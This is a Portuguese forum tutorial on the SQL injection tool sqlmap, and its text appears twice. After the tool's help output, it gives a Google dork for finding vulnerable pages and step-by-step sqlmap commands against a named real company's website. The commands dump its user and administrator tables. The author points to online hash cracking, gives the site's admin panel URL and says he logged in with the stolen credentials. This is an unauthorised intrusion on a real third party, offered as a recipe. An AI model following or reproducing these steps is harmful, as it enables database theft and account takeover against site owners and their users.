O que veremos aqui é mais uma das minhas introduções básicas, onde aponto a direção norte e, ao final do tutorial, os deixo trilhar os próprios caminhos (chega de poetizar).
A bola da vez é o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Instalação
Não tem erro. Basta apenas baixá-lo no Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Para Windows, será necessário também baixar o interpretador Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Em minha máquina utilizo um Debian Squeeze, que já possui este pacote instalado e ativo.
Após baixar, basta descompactá-lo e, pelo Bash/DOS, navegar (usando o comando "cd", change dir) até o diretório onde estão os arquivos descompactados.
Visão geral
Como uma primeira documentação, vamos permitir que o próprio SQLMap fale por si.
Você já pode notar, então, que o SQLMap não está de brincadeira, e que suas opções de uso superam com força às do Havij, por exemplo. Maldito open-source, não?
Ok, vamos ver então um exemplo simples de uso. Vamos procurar por um website possivelmente vulnerável. Note que o próprio SQLMap pode fazer buscas no Google, caso você especifique a dork. Porém, isso não é recomendado, já que a Google se esforça ao máximo para acabar com as chances de funcionamento de bots automatizados de busca, e isso também interfere no nosso amado programinha. Além disso, um pouco de trabalho braçal não mata ninguém, certo?
Utilizando a seguinte dork:
Não demorou muito para que eu encontrasse minha primeira cobaia.
Agora, basta apenas inserir o seguinte comando no terminal:
Como você pôde conferir, basta setar o argumento -u para a URL que se deseja testar. Então, como você pode ver no print abaixo, ele inicia fazendo testes de conexão à URL, verificações se os parâmetros da URL (id_noticia) são dinâmicos e uma série de testes para vários motores de bancos de dados, para verificar se os parâmetros são vulneráveis.
Note que ele parou numa pergunta. Segundo ele, o parâmetro id_noticia é vulnerável e, por isso, pergunta se eu desejo continuar testando outros parâmetros. Eu posso entrar "y" para sim ou "n" (ou deixar em branco, visto que é a resposta padrão, estando em caixa alta) para não. Eu escolhi o não, afinal, não fazia sentido continuar testando (até porque não há outros parâmetros na URL).
Com minha resposta negativa em mãos, ele me dá um relatório prévio de como será a invasão. Veja:
Note que a versão do MySQL é maior (ou igual) a 5, mas que o tipo de injeção pode ser blind, baseado em erros ou em tempo de resposta. Mas vamos seguir tentando.
Já podemos, de cara, obter as tabelas do banco de dados atual. Para isso, digite o mesmo comando anterior (eu prefiro apertar seta para cima, e o último comando é reescrito no prompt), mas adicionaremos o parâmetro "--tables". Nota: para obter apenas os nomes dos bancos de dados, utilize "--dbs" ao invés de "--tables".
Basicamente, é assim:
Ele retoma o trabalho de onde parou, graças aos arquivos de sessões no diretório "output". Vejam que lindo o resultado!
Uma das coisas que gosto no SQLMap é a praticidade, até mesmo quando comparado à softwares de interface gráfica, como o Havij. Agora, ao invés de obter colunas, já podemos obter diretamente os dados de alguma tabela que quisermos. O próprio SQLMap se encarregará de buscar para nós as colunas e, em seguida, os dados.
Seguindo as regras do senso comum, tentaremos obter os dados das seguintes tabelas (formato: banco_de_dados.nome_da_tabela):
Certo, então vamos começar. O comando se dará da seguinte forma:
Vamos utilizar o argumento "--dump" para indicar a extração de dados. em "-T" indicaremos a tabela e em "-D" o banco de dados ao qual a tabela pertence. Nota: para obter apenas os nomes das colunas, utilize o "--columns" ao invés do "--dump".
Vejam que beleza que são os dados retornando a nós!
É como estar diante do próprio mysqladmin, não acham?
Vejamos as outras tabelas:
Nesta tabela, o SQLMap detectou senhas em hash (criptografadas (não sei onde)), e se ofereceu para ajudar, por meio de um ataque baseado em dicionário. Como isso é apenas um exemplo, vamos deixar as senhas criptografadas em paz. Isso sem contar que podemos utilizar serviços on-line, como Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para quebrar as hashes.
Ok, nessa, não podemos negar que a tabela ficou "um pouco" desorganizada, mas... A cag*da foi minha. Vou lembrar que deixar a janela em uma largura maior da próxima vez. Vou lembrar também de minimizar o bloco de notas.
Rapidamente, pude descobrir o endereço do painel administrativo:
Consegui acesso utilizando o login e senha disponíveis da tabela "busatoca_sitebusato.usuario". Veja:
Este foi apenas um exemplo básico de introdução. O SQLMap oferece muito mais, e são coisas que você terá que descobrir da melhor forma: NA MARRA.
Fiquem com Papai do Céu, meus queridos
A bola da vez é o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Instalação
Não tem erro. Basta apenas baixá-lo no Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Para Windows, será necessário também baixar o interpretador Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Em minha máquina utilizo um Debian Squeeze, que já possui este pacote instalado e ativo.
Após baixar, basta descompactá-lo e, pelo Bash/DOS, navegar (usando o comando "cd", change dir) até o diretório onde estão os arquivos descompactados.
Visão geral
Como uma primeira documentação, vamos permitir que o próprio SQLMap fale por si.
Código:
user@debian:~/path/sqlmap$ ./sqlmap.py --help sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net Usage: python ./sqlmap.py [options] Options: --version show program's version number and exit -h, --help show this help message and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be specified to set the source to get target urls from. -d DIRECT Direct connection to the database -u URL, --url=URL Target url -l LIST Parse targets from Burp or WebScarab proxy logs -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target urls -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target url. --data=DATA Data string to be sent through POST --cookie=COOKIE HTTP Cookie header --cookie-urlencode URL Encode generated cookie injections --drop-set-cookie Ignore Set-Cookie header from response --user-agent=AGENT HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header --referer=REFERER HTTP Referer header --headers=HEADERS Extra HTTP headers newline separated --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM) --auth-cred=ACRED HTTP authentication credentials (name:password) --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file) --proxy=PROXY Use a HTTP proxy to connect to the target url --proxy-cred=PCRED HTTP proxy authentication credentials (name:password) --ignore-proxy Ignore system default HTTP proxy --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --scope=SCOPE Regexp to filter targets from provided proxy log --safe-url=SAFURL Url address to visit frequently during testing --safe-freq=SAFREQ Test requests between two visits to a given safe url Optimization: These options can be used to optimize the performance of sqlmap. -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts. -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value --os=OS Force back-end DBMS operating system to this value --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique. --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (0-3, default 1) --string=STRING String to match in page when the query is valid --regexp=REGEXP Regexp to match in page when the query is valid --text-only Compare pages based only on the textual content Techniques: These options can be used to tweak testing of specific SQL injection techniques. --technique=TECH SQL injection techniques to test for (default BEUST) --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements. -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate -C COL DBMS database table column to enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell Brute force: These options can be used to run brute force checks. --common-tables Check existence of common tables --common-columns Check existence of common columns User-defined function injection: These options can be used to create custom user-defined functions. --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system. --file-read=RFILE Read a file from the back-end DBMS file system --file-write=WFILE Write a local file on the back-end DBMS file system --file-dest=DFILE Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system. --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an out-of-band shell, meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process' user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework 3 is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry. --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters. -t TRAFFICFILE Log all HTTP traffic into a textual file -s SESSIONFILE Save and resume all data retrieved on a session file --flush-session Flush session file for current target --fresh-queries Ignores query results stored in session file --eta Display for each output the estimated time of arrival --update Update sqlmap --save Save options on a configuration INI file --batch Never ask for user input, use the default behaviour Miscellaneous: --beep Alert when sql injection found --check-payload IDS detection testing of injection payloads --cleanup Clean up the DBMS by sqlmap specific UDF and tables --forms Parse and test forms on target url --gpage=GOOGLEPAGE Use Google dork results from specified page number --page-rank Display page rank (PR) for Google dork results --parse-errors Parse DBMS error messages from response pages --replicate Replicate dumped data into a sqlite3 database --tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address --wizard Simple wizard interface for beginner users
Ok, vamos ver então um exemplo simples de uso. Vamos procurar por um website possivelmente vulnerável. Note que o próprio SQLMap pode fazer buscas no Google, caso você especifique a dork. Porém, isso não é recomendado, já que a Google se esforça ao máximo para acabar com as chances de funcionamento de bots automatizados de busca, e isso também interfere no nosso amado programinha. Além disso, um pouco de trabalho braçal não mata ninguém, certo?
Utilizando a seguinte dork:
Código:
inurl:"noticia_view.php?id_noticia="
Agora, basta apenas inserir o seguinte comando no terminal:
Código:
./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900
Note que ele parou numa pergunta. Segundo ele, o parâmetro id_noticia é vulnerável e, por isso, pergunta se eu desejo continuar testando outros parâmetros. Eu posso entrar "y" para sim ou "n" (ou deixar em branco, visto que é a resposta padrão, estando em caixa alta) para não. Eu escolhi o não, afinal, não fazia sentido continuar testando (até porque não há outros parâmetros na URL).
Com minha resposta negativa em mãos, ele me dá um relatório prévio de como será a invasão. Veja:
Note que a versão do MySQL é maior (ou igual) a 5, mas que o tipo de injeção pode ser blind, baseado em erros ou em tempo de resposta. Mas vamos seguir tentando.
Já podemos, de cara, obter as tabelas do banco de dados atual. Para isso, digite o mesmo comando anterior (eu prefiro apertar seta para cima, e o último comando é reescrito no prompt), mas adicionaremos o parâmetro "--tables". Nota: para obter apenas os nomes dos bancos de dados, utilize "--dbs" ao invés de "--tables".
Basicamente, é assim:
Código:
./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --tables
Uma das coisas que gosto no SQLMap é a praticidade, até mesmo quando comparado à softwares de interface gráfica, como o Havij. Agora, ao invés de obter colunas, já podemos obter diretamente os dados de alguma tabela que quisermos. O próprio SQLMap se encarregará de buscar para nós as colunas e, em seguida, os dados.
Seguindo as regras do senso comum, tentaremos obter os dados das seguintes tabelas (formato: banco_de_dados.nome_da_tabela):
- busatoca_enquetes.usuarios
- busatoca_sitebusato.administracao
- busatoca_sitebusato.usuario
- busatoca_sitebusato.usuarios
Certo, então vamos começar. O comando se dará da seguinte forma:
Código:
./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T usuarios -D busatoca_enquetes
Vejam que beleza que são os dados retornando a nós!
É como estar diante do próprio mysqladmin, não acham?
Vejamos as outras tabelas:
Código:
./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T administracao -D busatoca_sitebusato
Código:
./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T usuario -D busatoca_sitebusato
Nesta tabela, o SQLMap detectou senhas em hash (criptografadas (não sei onde)), e se ofereceu para ajudar, por meio de um ataque baseado em dicionário. Como isso é apenas um exemplo, vamos deixar as senhas criptografadas em paz. Isso sem contar que podemos utilizar serviços on-line, como Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para quebrar as hashes.
Código:
./sqlmap.py -u http://www.busatocanoas.com.br/site/noticia_view.php?id_noticia=900 --dump -T usuarios -D busatoca_sitebusato
Ok, nessa, não podemos negar que a tabela ficou "um pouco" desorganizada, mas... A cag*da foi minha. Vou lembrar que deixar a janela em uma largura maior da próxima vez. Vou lembrar também de minimizar o bloco de notas.
Rapidamente, pude descobrir o endereço do painel administrativo:
Código:
http://www.busatocanoas.com.br/site/admin/
Este foi apenas um exemplo básico de introdução. O SQLMap oferece muito mais, e são coisas que você terá que descobrir da melhor forma: NA MARRA.
Fiquem com Papai do Céu, meus queridos
Comment